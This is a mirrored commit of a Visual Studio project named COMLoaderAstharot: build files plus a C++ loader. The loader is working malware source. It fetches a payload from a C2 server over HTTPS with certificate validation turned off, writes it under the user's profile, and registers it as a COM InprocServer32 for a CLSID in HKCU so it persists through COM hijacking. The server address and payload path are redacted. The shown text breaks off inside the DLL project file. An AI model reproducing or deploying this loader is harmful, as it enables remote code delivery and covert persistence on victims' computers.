mirror of
https://github.com/Astharot15/COMLoaderAstharot/
synced 2026-07-13 20:52:26 +00:00
COMLoaderAstharot
This commit is contained in:
Astharot15
+33
@@ -0,0 +1,33 @@
|
|||||||
|
## Visual Studio 2022 C++ Cache & Artifacts
|
||||||
|
.vs/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
[Dd]ebug/
|
||||||
|
[Rr]elease/
|
||||||
|
x64/
|
||||||
|
x86/
|
||||||
|
ARM/
|
||||||
|
ARM64/
|
||||||
|
|
||||||
|
## C++ Compiler and Linker Outputs
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.ilk
|
||||||
|
*.idb
|
||||||
|
*.obj
|
||||||
|
*.iobj
|
||||||
|
*.ipdb
|
||||||
|
*.tlog
|
||||||
|
*.lastbuildstate
|
||||||
|
*.recipe
|
||||||
|
*.log
|
||||||
|
|
||||||
|
## Backup and Build Log Directories
|
||||||
|
$SubDir$/
|
||||||
|
Generated Files/
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
|
||||||
|
## User-specific settings (Keep vcxproj, but ignore individual user layouts)
|
||||||
|
*.user
|
||||||
|
*.suo
|
||||||
|
*.sln.docstates
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 17
|
||||||
|
VisualStudioVersion = 17.14.36616.10
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COMLoaderAstharot", "COMLoaderAstharot\COMLoaderAstharot.vcxproj", "{37692E3D-B814-4397-A64E-895A7A879247}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoaderAstharotDll", "LoaderAstharotDll\LoaderAstharotDll.vcxproj", "{6092E7C5-A3AB-4D96-AFA4-410EBC350092}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Release|x64.Build.0 = Release|x64
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{37692E3D-B814-4397-A64E-895A7A879247}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x64.Build.0 = Release|x64
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {01668F62-0538-47AC-B4FB-928F39F0B841}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
Binary file not shown.
@@ -0,0 +1,121 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <lmcons.h>
|
||||||
|
#include <winhttp.h>
|
||||||
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
|
struct Shellcode {
|
||||||
|
byte* data;
|
||||||
|
DWORD len;
|
||||||
|
};
|
||||||
|
|
||||||
|
size_t custom_strlen(const char* str) {
|
||||||
|
size_t len = 0;
|
||||||
|
while (str[len]) len++;
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
|
||||||
|
struct Shellcode out = { nullptr, 0 };
|
||||||
|
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
|
||||||
|
|
||||||
|
hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||||
|
|
||||||
|
if (hSession)
|
||||||
|
hConnect = WinHttpConnect(hSession, host, port, 0);
|
||||||
|
|
||||||
|
if (hConnect)
|
||||||
|
hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
|
||||||
|
|
||||||
|
if (hRequest) {
|
||||||
|
DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||||
|
WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
|
||||||
|
if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
|
||||||
|
if (WinHttpReceiveResponse(hRequest, NULL)) {
|
||||||
|
|
||||||
|
DWORD dwContentLength = 0;
|
||||||
|
DWORD dwSizeOfSize = sizeof(dwContentLength);
|
||||||
|
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,
|
||||||
|
WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) {
|
||||||
|
|
||||||
|
byte* payload = (byte*)malloc(dwContentLength);
|
||||||
|
if (payload) {
|
||||||
|
DWORD dwDownloaded = 0;
|
||||||
|
DWORD totalRead = 0;
|
||||||
|
|
||||||
|
while (totalRead < dwContentLength) {
|
||||||
|
if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
totalRead += dwDownloaded;
|
||||||
|
}
|
||||||
|
out.data = payload;
|
||||||
|
out.len = totalRead;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hRequest) WinHttpCloseHandle(hRequest);
|
||||||
|
if (hConnect) WinHttpCloseHandle(hConnect);
|
||||||
|
if (hSession) WinHttpCloseHandle(hSession);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
|
||||||
|
HKEY hKey;
|
||||||
|
char username[UNLEN + 1];
|
||||||
|
DWORD username_len = UNLEN + 1;
|
||||||
|
char fullPath[MAX_PATH];
|
||||||
|
|
||||||
|
const char* prefix = "C:\\Users\\";
|
||||||
|
const char* suffix = "redactedPath";
|
||||||
|
|
||||||
|
if (!GetUserNameA(username, &username_len)) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t prefixLen = custom_strlen(prefix);
|
||||||
|
size_t userLen = custom_strlen(username);
|
||||||
|
size_t suffixLen = custom_strlen(suffix);
|
||||||
|
|
||||||
|
char* currentPos = fullPath;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < prefixLen; i++) *currentPos++ = prefix[i];
|
||||||
|
for (size_t i = 0; i < userLen; i++) *currentPos++ = username[i];
|
||||||
|
for (size_t i = 0; i < suffixLen; i++) *currentPos++ = suffix[i];
|
||||||
|
|
||||||
|
*currentPos = '\0';
|
||||||
|
|
||||||
|
Shellcode sc = Download(L"redactedIP", 443);
|
||||||
|
|
||||||
|
if (sc.data != nullptr && sc.len > 0) {
|
||||||
|
HANDLE hFile = CreateFileA(fullPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hFile != INVALID_HANDLE_VALUE) {
|
||||||
|
DWORD dwWritten = 0;
|
||||||
|
WriteFile(hFile, sc.data, sc.len, &dwWritten, NULL);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(sc.data);
|
||||||
|
|
||||||
|
const char* subKeyPath = "Software\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\\InprocServer32";
|
||||||
|
const char* threadingModel = "both";
|
||||||
|
|
||||||
|
if (RegCreateKeyExA(HKEY_CURRENT_USER, subKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE,
|
||||||
|
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||||
|
|
||||||
|
RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ,
|
||||||
|
(const BYTE*)threadingModel, (DWORD)(custom_strlen(threadingModel) + 1));
|
||||||
|
|
||||||
|
RegSetValueExA(hKey, NULL, 0, REG_SZ,
|
||||||
|
(const BYTE*)fullPath, (DWORD)(custom_strlen(fullPath) + 1));
|
||||||
|
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Binary file not shown.
@@ -0,0 +1,137 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>17.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{37692e3d-b814-4397-a64e-895a7a879247}</ProjectGuid>
|
||||||
|
<RootNamespace>COMLoaderAstharot</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="COMLoaderAstharot.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="COMLoaderAstharot.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="COMLoaderAstharot.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="COMLoaderAstharot.rc">
|
||||||
|
<Filter>Resource Files</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
//{{NO_DEPENDENCIES}}
|
||||||
|
// Microsoft Visual C++ generated include file.
|
||||||
|
// Used by COMLoaderAstharot.rc
|
||||||
|
|
||||||
|
// Next default values for new objects
|
||||||
|
//
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||||
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
|
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||||
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,157 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>17.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{6092e7c5-a3ab-4d96-afa4-410ebc350092}</ProjectGuid>
|
||||||
|
<RootNamespace>LoaderAstharotDll</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
